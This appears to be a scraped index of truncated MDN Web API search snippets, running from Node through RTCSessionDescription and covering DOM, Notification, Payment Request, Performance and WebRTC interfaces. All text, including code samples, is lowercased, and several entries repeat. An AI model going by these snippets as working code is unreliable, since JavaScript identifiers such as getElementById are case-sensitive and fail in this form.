"); let throwawaynode = d.removechild(d_nested); to remove a specified element without having to specify its parent node: let node = document.getelementbyid("nested"); if (node.parentnode) { node.parentnode.removechild(node); } to remove all children from an element: let element = document.getelementbyid("top"); while (element.firstchild) { element.removechild(element.firstchild); } causing a typeerror <!--sample html code--> <div id="top"> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // throws uncaught typeerror let garbage = top.removechild(nested); </script> causing a notfounderror <!--sample html code--> <div id="top"> <div id="nested"></div> </div> <script type="text/javascript"...
Node.rootNode - Web APIs
WebAPINoderootNode
therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get.
Node.textContent - Web APIs
WebAPINodetextContent
moreover, using textcontent can prevent xss attacks.
NodeFilter.acceptNode() - Web APIs
it is the user who is expected to write an object implementing the nodefilter interface, tailoring the acceptnode() method to its needs, and using it with some treewalker or nodeiterator objects.
NodeFilter - Web APIs
it is the user who is expected to write one, tailoring the acceptnode() method to its needs, and using it with some treewalker or nodeiterator objects.
NodeIterator - Web APIs
syntax a nodeiterator can be created using the document.createnodeiterator() method, as follows: const nodeiterator = document.createnodeiterator(root, whattoshow, filter); properties this interface doesn't inherit any property.
NodeList.entries() - Web APIs
WebAPINodeListentries
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var entry of list.entries()) { console.log(entry); } results in: array [ 0, <p> ] array [ 1, #text "hey" ] array [ 2, <span> ] ...
NodeList.keys() - Web APIs
WebAPINodeListkeys
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var key of list.keys()) { console.log(key); } the result is: 0 1 2 ...
NodeList.values() - Web APIs
WebAPINodeListvalues
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var value of list.values()) { console.log(value); } the result is: <p> #text "hey" <span> ...
Notification.actions - Web APIs
the actions read-only property of the notification interface returns the list of notificationaction objects set using the actions option when creating the notification using the notification() constructor.
Notification.data - Web APIs
WebAPINotificationdata
examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor.
Notification.dir - Web APIs
WebAPINotificationdir
examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor.
Notification.onclick - Web APIs
examples in the following example, we use an onclick handler to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.preventdefault(); // prevent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that specification.
Notification.renotify - Web APIs
examples the following snippet is intended to fire a notification that renotifies the user after it has been replaced; a simple options object is created, and then the notification is fired using the notification() constructor.
Notification.requestPermission() - Web APIs
read using the notifications api for a good example of how to feature detect this and run code as appropriate.
Notification.silent - Web APIs
examples the following snippet is intended to fire a silent notification; a simple options object is created, and then the notification is fired using the notification() constructor.
Notification.tag - Web APIs
WebAPINotificationtag
examples our using the notifications api article has a good example of tag usage.
Notification.timestamp - Web APIs
examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor.
Notification.vibrate - Web APIs
examples the following snippet is intended to create a notification that also triggers a device vibration; a simple options object is created, and then the notification is fired using the notification() constructor.
NotifyAudioAvailableEvent - Web APIs
all audio frames are normalized to contain 1024 samples by default, but could be any length between 512 and 16384 samples if the user has set a different length using the mozframebufferlength attribute.
OfflineAudioContext.OfflineAudioContext() - Web APIs
it is important to note that, whereas you can create a new audiocontext using the new audiocontext() constructor with no arguments, the offlineaudiocontext() constructor requires three arguments, since it needs to create an audiobuffer.
OfflineAudioContext: complete event - Web APIs
nt to use the oncomplete handler the prompt the user that the audio can now be played, and enable the play button: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.addeventlistener('complete', () => { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; }) you can also set up the event handler using the offlineaudiocontext.oncomplete property: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.oncomplete = function() { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'offlineaudiocomple...
OfflineAudioContext.startRendering() - Web APIs
after the offline audio graph is set up, you need to render it to an audiobuffer using offlineaudiocontext.startrendering.
OffscreenCanvas.convertToBlob() - Web APIs
some drawing using the gl context ...
OffscreenCanvas.convertToBlob() - Web APIs
some drawing using the gl context ...
OffscreenCanvas.convertToBlob() - Web APIs
some drawing using the gl context ...
OffscreenCanvas.transferToImageBitmap() - Web APIs
some drawing using the gl context ...
OrientationSensor - Web APIs
model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors.
OscillatorNode - Web APIs
an oscillatornode is created using the baseaudiocontext.createoscillator() method.
PaintWorklet.registerPaint - Web APIs
= 0; y < geom.height/size; y++) { for(let x = 0; x < geom.width/size; x++) { const color = colors[(x + y) % colors.length]; ctx.beginpath(); ctx.fillstyle = color; ctx.rect(x * size, y * size, size, size); ctx.fill(); } } } } // register our class under a specific name registerpaint('checkerboard', checkerboardpainter); the first step in using a paintworket is defining the paint worklet using the registerpaint() function, as done above.
PaintWorklet - Web APIs
examples the following three examples go together to show creating, loading, and using a paintworklet.
PannerNode.coneInnerAngle - Web APIs
rotation in the 'horizontal plane') to an orientation vector const yrotationtovector = degrees => { // convert degrees to radians and offset the angle so 0 points towards the listener const radians = (degrees - 90) * (math.pi / 180); // using cosine and sine here ensures the output values are always normalised // i.e.
PannerNode.coneOuterAngle - Web APIs
rotation in the 'horizontal plane') to an orientation vector const yrotationtovector = degrees => { // convert degrees to radians and offset the angle so 0 points towards the listener const radians = (degrees - 90) * (math.pi / 180); // using cosine and sine here ensures the output values are always normalised // i.e.
PannerNode.coneOuterGain - Web APIs
rotation in the 'horizontal plane') to an orientation vector const yrotationtovector = degrees => { // convert degrees to radians and offset the angle so 0 points towards the listener const radians = (degrees - 90) * (math.pi / 180); // using cosine and sine here ensures the output values are always normalised // i.e.
PannerNode.positionX - Web APIs
depending on the directionality of the sound (as specified using the attributes coneinnerangle, coneouterangle, and codeoutergain), the orientation of the sound may alter the perceived volume of the sound as it's being played.
PannerNode.positionY - Web APIs
depending on the directionality of the sound (as specified using the attributes coneinnerangle, coneouterangle, and codeoutergain), the orientation of the sound may alter the perceived volume of the sound as it's being played.
PannerNode.positionZ - Web APIs
depending on the directionality of the sound (as specified using the attributes coneinnerangle, coneouterangle, and codeoutergain), the orientation of the sound may alter the perceived volume of the sound as it's being played.
PannerNode.setOrientation() - Web APIs
the three parameters x, y and z are unitless and describe a direction vector in 3d space using the right-hand cartesian coordinate system.
PannerNode.setPosition() - Web APIs
the setposition() method of the pannernode interface defines the position of the audio source relative to the listener (represented by an audiolistener object stored in the audiocontext.listener attribute.) the three parameters x, y and z are unitless and describe the source's position in 3d space using the right-hand cartesian coordinate system.
ParentNode.children - Web APIs
you can access the individual child nodes in the collection by using either the item() method on the collection, or by using javascript array-style notation.
ParentNode.replaceChildren() - Web APIs
it then calls replacechildren() on the list to transfer the options to, using the spread operator to pass in all the options contained in both constants.
ParentNode - Web APIs
see locating dom elements using selectors to learn how to use css selectors to find nodes or elements of interest.
PasswordCredential - Web APIs
<form id="form" method="post"> <input type="text" name="id" autocomplete="username" /> <input type="password" name="password" autocomplete="current-password" /> <input type="hidden" name="csrf_token" value="*****" /> </form> then, a reference to this form element, using it to create a passwordcredential object, and storing it in the browser's password system.
Path2D() - Web APIs
WebAPIPath2DPath2D
<canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let path1 = new path2d(); path1.rect(10, 10, 100,100); let path2 = new path2d(path1); path2.moveto(220, 60); path2.arc(170, 60, 50, 0, 2 * math.pi); ctx.stroke(path2); using svg paths this example creates a path2d path using svg path data.
Path2D - Web APIs
WebAPIPath2D
the starting point is the last point in the current path, which can be changed using moveto() before creating the bézier curve.
PayerErrors.email - Web APIs
WebAPIPayerErrorsemail
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####." } // check everything else too...
PayerErrors.name - Web APIs
WebAPIPayerErrorsname
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####." } // check everything else too...
PayerErrors.phone - Web APIs
WebAPIPayerErrorsphone
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####." } // check everything else too...
PaymentAddress.country - Web APIs
the country read-only property of the paymentaddress interface is a string identifying the address's country using the iso 3166-1 alpha-2 standard.
PaymentCurrencyAmount.currency - Web APIs
the value is always specified using the 3-letter codes defined by the iso 4127 standard.
PaymentCurrencyAmount.currencySystem - Web APIs
warning: this property has been removed from the specification and should no longer be used; the currency is now always specified using iso 4127.
PaymentCurrencyAmount - Web APIs
this is used to specify the prices of both line items on a payment, using paymentitem objects, and to provide the cost of a shipping option, using paymentshippingoption.
PaymentDetailsBase - Web APIs
this can be delivered to the payment interface using either paymentdetailsupdateevent.updatewith() or by returning it from the optional detailsupdate promise provided to the paymentrequest.show() call that begins the user interaction.
PaymentDetailsUpdate.error - Web APIs
this happens if both of the following are true: the paymentrequest specifies using its requestshipping property that shipping information is required.
PaymentDetailsUpdate - Web APIs
this can be done either by calling the paymentrequestupdateevent.updatewith() method or by using the paymentrequest.show() method's detailspromise parameter to provide a promise that returns a paymentdetailsupdate that updates the payment information before the user interface is even enabled for the first time.
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent interface of the payment request api describes the paymentmethodchange event which is fired by some payment handlers when the user switches payment instruments (e.g., a user selects a "store" card to make a purchase while using apple pay).
PaymentRequest.shippingAddress - Web APIs
when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost.
PaymentRequest.shippingOption - Web APIs
in each calls to updatedetails() are made, one using a promise, and the other with a plain js object.
PaymentRequest: shippingaddresschange event - Web APIs
return detailsupdate; }; you can also establish a handler for shippingaddresschange using the onshippingaddresschange event handler property: paymentrequest.onshippingaddresschange = event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupdate); }; specifications specification status comment payment request apithe definition of 'shippingaddresschange' in that specification.
PaymentRequest: shippingoptionchange event - Web APIs
you can also create an event handler for shippingoptionchange using its corresponding event handler property, onshippingoptionchange: paymentrequest.onshippingoptionchange = event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }; specifications specification status comment payment request apithe definitio...
PaymentResponse.complete() - Web APIs
examples the following example sends payment information to a secure server using the fetch api.
PaymentResponse: payerdetailchange event - Web APIs
await response.retry(errors); } else { // we have a good payment; send the data to the server await fetch("/pay-for-things/", { method: "post", body: response.json() }); response.complete("success"); } }; await response.retry({ payer: { email: "invalid domain.", phone: "invalid number.", }, }); addeventlistener equivalent you could also set up the event handler using the addeventlistener() method: response.addeventlistener("payerdetailchange", async ev => { ...
PaymentResponse.retry() - Web APIs
for example, if the user chose to pay by credit card using the basic-card payment method, this is a basiccarderrors object.
PaymentResponse.shippingAddress - Web APIs
when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost.
PaymentResponse - Web APIs
events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
PaymentValidationErrors - Web APIs
for example, if the user chose to pay by credit card using the basic-card payment method, this is a basiccarderrors object.
Pbkdf2Params - Web APIs
the pbkdf2params dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.derivekey(), when using the pbkdf2 algorithm.
performance.now() - Web APIs
WebAPIPerformancenow
starting with firefox 79, high resolution timers can be used if you cross-origin isolate your document using the cross-origin-opener-policy and cross-origin-embedder-policy headers: cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp these headers ensure a top-level document does not share a browsing context group with cross-origin documents.
Performance: resourcetimingbufferfull event - Web APIs
function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the addeventlistener() function: performance.addeventlistener('resourcetimingbufferfull', buffer_full); specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
Performance - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
PerformanceEventTiming - Web APIs
(navigator.sendbeacon && navigator.sendbeacon('/analytics', body)) || fetch('/analytics', {body, method: 'post', keepalive: true}); } // use a try/catch instead of feature detecting `first-input` // support, since some browsers throw when using the new `type` option.
PerformanceFrameTiming - Web APIs
example see the example in using the frame timing api.
PerformanceMark - Web APIs
example see the example in using the user timing api.
PerformanceMeasure - Web APIs
example see the example in using the user timing api.
PerformanceResourceTiming - Web APIs
example see the example in using the resource timing api.
PerformanceTiming.domInteractive - Web APIs
check if you are in one of these cases before using this property as a proxy for the user experience of a web site's speed of loading.
PerformanceTiming.fetchStart - Web APIs
the legacy performancetiming.fetchstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the browser is ready to fetch the document using an http request.
Performance API - Web APIs
as such, the performance api defines a domhighrestimestamp type rather than using the date.now() interface.
Performance Timeline - Web APIs
for more details about the interfaces, see the reference pages and using performance timeline.
PeriodicWave - Web APIs
constructor periodicwave.periodicwave() creates a new periodicwave object instance using the default values for all properties.
PhotoCapabilities - Web APIs
this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a device's mediastream.
PluginArray - Web APIs
the pluginarray is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods.
PointerEvent.isPrimary - Web APIs
example this example illustrates using the value of isprimary to call the appropriate processing function.
PointerEvent.pointerType - Web APIs
example this example illustrates using the value of the pointertype property to call the appropriate pointer type processing function.
PointerEvent.width - Web APIs
example this example illustrates using the pointerevent interface's width and height properties to calculate the contact area.
PointerEvent - Web APIs
pointerevent.pointerid read only a unique identifier for the pointer causing the event.
PositionOptions.enableHighAccuracy - Web APIs
on the other hand, if false (the default value), the device can take the liberty to save resources by responding more quickly and/or using less power.
PositionOptions - Web APIs
on the other hand, if false, the device can take the liberty to save resources by responding more quickly and/or using less power.
ProgressEvent.loaded - Web APIs
when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
ProgressEvent.total - Web APIs
when downloading a resource using http, this only represent the content itself, not headers and other overhead.
PromiseRejectionEvent - Web APIs
for details on promise rejection events, see promise rejection events in using promises.
Proximity Events - Web APIs
this event can be captured at the window object level by using the addeventlistener method (using the deviceproximity or userproximity event name) or by attaching an event handler to the window.ondeviceproximity or window.onuserproximity properties.
PublicKeyCredentialCreationOptions.challenge - Web APIs
this value (among other client data) will be signed by the authenticator, using its private key, and must be sent back for verification to the server as part of authenticatorattestationresponse.attestationobject.
PushManager - Web APIs
} navigator.serviceworker.register('serviceworker.js').then( function(serviceworkerregistration) { serviceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
Web Push API Notifications best practices - Web APIs
overview of web push notifications web push notifications (created using a combination of the notifications, push, and service worker apis) are part of the rising noise that product developers and marketers are using to get attention for their sites.
RTCAnswerOptions - Web APIs
the rtcansweroptions dictionary is used to provide optional settings when creating an sdp answer using rtcpeerconnection.createoffer() after receiving an offer from a remote peer.
RTCConfiguration.bundlePolicy - Web APIs
in technical terms, an sdp bundle lets all of the media tracks (identified in the sdp from the m= lines) stream between two peers across a single 5-tuple, that is, from a single ip and port on one peer to a single ip and port on another peer, all using the same rtcdtlstransport.
RTCDTMFSender.toneBuffer - Web APIs
using tone buffer strings for example, if you're writing code to control a voicemail system by sending dtmf codes, you might use a string such as "*,1,5555".
RTCDTMFSender: tonechange event - Web APIs
this can be done using addeventlistener(): dtmfsender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&g...
RTCDTMFToneChangeEvent - Web APIs
examples this snippet is derived loosely from the full, working example you'll find in when a tone finishes playing in using dtmf with webrtc.
RTCDataChannel: bufferedamountlow event - Web APIs
you can also set up a listener for bufferedamountlow using its event handler property, onbufferedamountlow: pc.onbufferedamountlow = ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'bufferedamountlow' in that specification.
RTCDataChannel: close event - Web APIs
before any further data can be transferred using rtcdatachannel, a new data channel instance must be created.
RTCDataChannel.maxRetransmits - Web APIs
this can only be set when the rtcdatachannel is created by calling rtcpeerconnection.createdatachannel(), using the maxretransmits field in the specified options.
RTCDataChannel: message event - Web APIs
examples for a given rtcdatachannel, dc, created for a peer connection using its createdatachannel() method, this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a new <p> (paragraph) element.
RTCDataChannel.negotiated - Web APIs
see creating a data channel in using webrtc data channels for further information about this property.
RTCDataChannel.onbufferedamountlow - Web APIs
see buffering in using webrtc data channels to learn more about how to work with the data channel buffer.
RTCDataChannel.protocol - Web APIs
the permitted values of this property are defined by the web site or app using the data channel.
RTCIceCandidate.RTCIceCandidate() - Web APIs
note: parsing of the candidate string is performed using the candidate-attribute grammar from the webrtc specification.
RTCIceCandidate.address - Web APIs
to do this, configure the ice agent's ice transport policy using rtcconfiguration, like this: var rtcconfig = { iceservers: [ { urls: "turn:myturn.server.ip", username: "username", credential: "password" } ], icetransportpolicy: "relay" } by setting rtcconfiguration.icetransportpolicy to "relay", any host candidates (candidates where the ip address is the peer's own ip address) are left out of the pool of candidates, as are a...
RTCIceCandidate.port - Web APIs
the a-line string is obtained either from the rtcicecandidateinit property candidate or from a-line string passed into the constructor upon using new rtcicecandidate().
RTCIceCandidate.sdpMLineIndex - Web APIs
note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception.
RTCIceCandidateInit.sdpMLineIndex - Web APIs
note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception.
RTCIceCandidateInit.sdpMid - Web APIs
note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception.
RTCIceCandidateInit - Web APIs
rtcicecandidateinit is used when using new rtcicecandidate() to create a new ice candidate object.
RTCIceCandidatePairStats.packetsReceived - Web APIs
the number of packets sent to date on the connection can be obtained using packetssent.
RTCIceCandidatePairStats.packetsSent - Web APIs
the number of packets received to date on the connection can be obtained using packetsreceived.
RTCIceCandidatePairStats.priority - Web APIs
you can calculcate its value using the algorithm described in rfc 5245, section 5.7.2 if you need this information and can accept the risk that the result may not be entirely accurate.
RTCIceCandidatePairStats - Web APIs
you should update any existing code to avoid using them as soon as is practical.
RTCIceCandidateStats.address - Web APIs
otherwise, the address is presumed to be a fully-qualified domain name, which is resolved first using an aaaa record (assuming ipv6 is available), then using an a record (if no result is found or the device onlu supports ipv4).
RTCIceCandidateStats.mozLocalTransport - Web APIs
syntax instead of using mozlocaltransport, you should use code like this: localtransport = rtcicecandidatestats.relayprotocol; specifications not part of any specification.
RTCIceCandidateStats - Web APIs
case "bluetooth": case "cellular": case "wimax": case "unknown": default: return false; } } if (rtcstats && rtcstats.type === "local-candidate") { if (!isusablenetworktype(rtcstats)) { abortconnection(); return; } } this code calls a function called abortconnection() if the rtcstats object represents information about a local candidate is which would be using a network connection other than ethernet or a vpn.
RTCIceCandidateType - Web APIs
usage notes the rtcicecandidatetype enumeration is used by the type property of rtcicecandidate objects, as well as when reporting statistics on candidates using rtcicecandidatestats.candidatetype.
RTCIceCredentialType - Web APIs
password the rtciceserver requires a username and password to authenticate prior to using the described ice server.
RTCIceServer.credentialType - Web APIs
password the rtciceserver requires a username and password to authenticate prior to using the described ice server.
RTCIceTransport.onselectedcandidatepairchange - Web APIs
syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for communication with the remote peer.
RTCIceTransport.state - Web APIs
"connected" a viable candidate pair has been found and selected, and the rtcicetransport has connected the two peers together using that pair.
RTCIceTransport: statechange event - Web APIs
let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.addeventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that sp...
RTCIceTransportState - Web APIs
"connected" a viable candidate pair has been found and selected, and the rtcicetransport has connected the two peers together using that pair.
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
since this value is also used to determine the number of seconds after a stream starts to flow before the first rtcp packet should be sent, the result is that if many users try to start using the service at the same time, the server won't be flooded with rtcp packets coming in all at once.
RTCInboundRtpStreamStats.fecPacketsDiscarded - Web APIs
this can happen if all the packets covered by the fec packet have already been received or recovered using another fec packet, or if the fec packet arrived outside the recovery window and the lost rtp packets have already been skipped during playback as a result.
RTCInboundRtpStreamStats.qpSum - Web APIs
the quantization process and the amount of compression can be controlled using one or more parameters.
RTCInboundRtpStreamStats - Web APIs
plicount an integer specifying the number of times the receiver has notified the sender that some amount of encoded video data for one or more frames has been lost, using picture loss indication (pli) packets.
RTCNetworkType - Web APIs
for example, if the networktype is wifi but the user is connected using a cellular hotspot, the connection will be bottlenecked by the underlying cellular network (and any other networks between the two peers).
RTCOfferOptions.iceRestart - Web APIs
fundamentally, this renegotiation is triggered by generating and using new values for the ice username fragment ("ufrag")}} example this example shows a handler for the iceconnectionstatechange event.
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
since this value is also used to determine the number of seconds after a stream starts to flow before the first rtcp packet should be sent, the result is that if many users try to start using the service at the same time, the server won't be flooded with rtcp packets coming in all at once.
RTCOutboundRtpStreamStats.qpSum - Web APIs
the quantization process and the amount of compression can be controlled using one or more parameters.
RTCOutboundRtpStreamStats.sliCount - Web APIs
an sli packet is used by a decoder to let the encoder (the sender) know that it's detected corruption of one or more consecutive macroblocks, in scan order, in the received media.in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, causing the receiver to request retransmits or to drop frames entirely.
RTCOutboundRtpStreamStats - Web APIs
plicount an integer specifying the number of times the remote receiver has notified this rtcrtpsender that some amount of encoded video data for one or more frames has been lost, using picture loss indication (pli) packets.
RTCPeerConnection() - Web APIs
see using certificates below for additional information.
RTCPeerConnection.addTrack() - Web APIs
this includes things like changes to the transceiver's direction and tracks being halted using removetrack().
RTCPeerConnection: connectionstatechange event - Web APIs
se "connected": setonlinestatus("online"); break; case "disconnected": setonlinestatus("disconnecting..."); break; case "closed": setonlinestatus("offline"); break; case "failed": setonlinestatus("error"); break; default: setonlinestatus("unknown"); break; } } you can also create a handler for connectionstatechange by using addeventlistener(): pc.addeventlistener("connectionstatechange", ev => { switch(pc.connectionstate) { /* ...
RTCPeerConnection.createAnswer() - Web APIs
once that succeeds, the answer is sent to the signaling server using whatever protocol you see fit.
RTCPeerConnection.getDefaultIceServers() - Web APIs
example var pc = new rtcpeerconnection(); var iceservers = pc.getdefaulticeservers(); if (iceservers.length === 0) { // deal with the lack of default ice servers, possibly by using our own defaults } specifications specification status comment webrtc extensions ...
RTCPeerConnection.iceGatheringState - Web APIs
rtcicegatheringstate enum the rtcicegatheringstate enum defines string constants which reflect the current status of ice gathering, as returned using the rtcpeerconnection.icegatheringstate property.
RTCPeerConnection: idpassertionerror event - Web APIs
an event handler for this event can be added using the rtcpeerconnection.onidpassertionerror property.
RTCPeerConnection: idpvalidationerror event - Web APIs
an event handler for this event can be added using the rtcpeerconnection.onidpvalidationerror property.
RTCPeerConnection.onaddstream - Web APIs
the first time an event occurs may be nearly immediately after the remote end of the connection is set using rtcpeerconnection.setremotedescription(); it doesn't wait for a particular stream to be accepted or rejected using sdp negotiation.
RTCPeerConnection.ondatachannel - Web APIs
be sure to wait for the "open" event to be fired on the new rtcdatachannel before using it.
RTCPeerConnection.onsignalingstatechange - Web APIs
you may also, as always, set up a handler for the signalingstatechange event using addeventlistener(): myrtcpeerconnection.addeventlistener("signalingstatechange", mysignalingstatechangehandler); or, using an anonymous (inline) handler: myrtcpeerconnection.addeventlistener("signalingstatechange", event => { /* handle the event here */ }); example this snippet shows a handler for signalingstatechange that looks for the "have-local-pranswer" signaling state—indicating t...
RTCPeerConnection: signalingstatechange event - Web APIs
pc.addeventlistener("signalingstatechange", ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }, false); using onsignalingstatechange, it looks like this: pc.onsignalingstatechange = ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstatechange' in that specification.
RTCPeerConnection: track event - Web APIs
pc = new rtcpeerconnection({ iceservers: [ { urls: "turn:fake.turnserver.url", username: "someusername", credential: "somepassword" } ] }); pc.addeventlistener("track", e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; }, false); the event handler assigns the new track's first stream to an existing <video> element, identified using the variable videoelement.
RTCPeerConnectionIceErrorEvent - Web APIs
port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address.
RTCRtpEncodingParameters.maxBitrate - Web APIs
this value is computed using the standard transport independent application specific maximum (tias) bandwidth as defined by rfc 3890, section 6.2.2; this is the maximum bandwidth needed without considering protocol overheads from ip, tcp or udp, and so forth.
RTCRtpReceiver.getCapabilities() static function - Web APIs
description as a static function, this is always called using the form: capabilities = rtcrtpreceiver.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list.
RTCRtpReceiver.transport - Web APIs
note that when bundling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple receivers may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets.
RTCRtpSender.dtmf - Web APIs
WebAPIRTCRtpSenderdtmf
see using dtmf for details on how to make use of the returned rtcdtmfsender object.
RTCRtpSender.getCapabilities() static function - Web APIs
description as a static function, this is always called using the form: capabilities = rtcrtpsender.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list.
RTCRtpSender.getStats() - Web APIs
the returned rtcstatsreport accumulates the statistics for all of the streams being sent using the rtcrtpsender, as well as the statistics for any dependencies those streams have.
RTCRtpSender.transport - Web APIs
note that when bundling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple senders may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets.
RTCRtpStreamStats.qpSum - Web APIs
the quantization process and the amount of compression can be controlled using one or more parameters.
RTCRtpStreamStats.ssrc - Web APIs
note: the specification includes an example that generates values for ssrc using md5.
RTCRtpStreamStats - Web APIs
slicount the number of times the receiver notified the sender that one or more consecutive (in scan order) encoded video macroblocks have been lost or corrupted; this notification is sent by the receiver to the sender using a slice loss indication (sli) packet.
RTCRtpSynchronizationSource.voiceActivityFlag - Web APIs
this is only present if the stream is using the voice activity detection feature; see the rtcofferoptions flag voiceactivitydetection.
RTCRtpTransceiver.direction - Web APIs
[1] to determine if a sender has at least one active encoding, the user agent gets its parameters using rtcrtpsender.getparameters(), then looks at the parameters' encodings property; if any of the listed encodings has its active property set to true, the sender has an active encoding.
RTCRtpTransceiver.stop() - Web APIs
usage notes when you call stop() on a transceiver, the sender immediately stops sending media and each of its rtp streams are closed using the rtcp "bye" message.
RTCRtpTransceiverDirection - Web APIs
[1] to determine if a sender has at least one active encoding, the user agent gets its parameters using rtcrtpsender.getparameters(), then looks at the parameters' encodings property; if any of the listed encodings has its active property set to true, the sender has an active encoding.
RTCSctpTransport - Web APIs
rtcsctptransport.maxmessagesizeread only an integer value indicating the maximum size, in bytes, of a message which can be sent using the rtcdatachannel.send() method.
RTCSessionDescription() - Web APIs
the session description's type will be specified using one of these values.
RTCSessionDescription - Web APIs
the session description's type will be specified using one of these values.
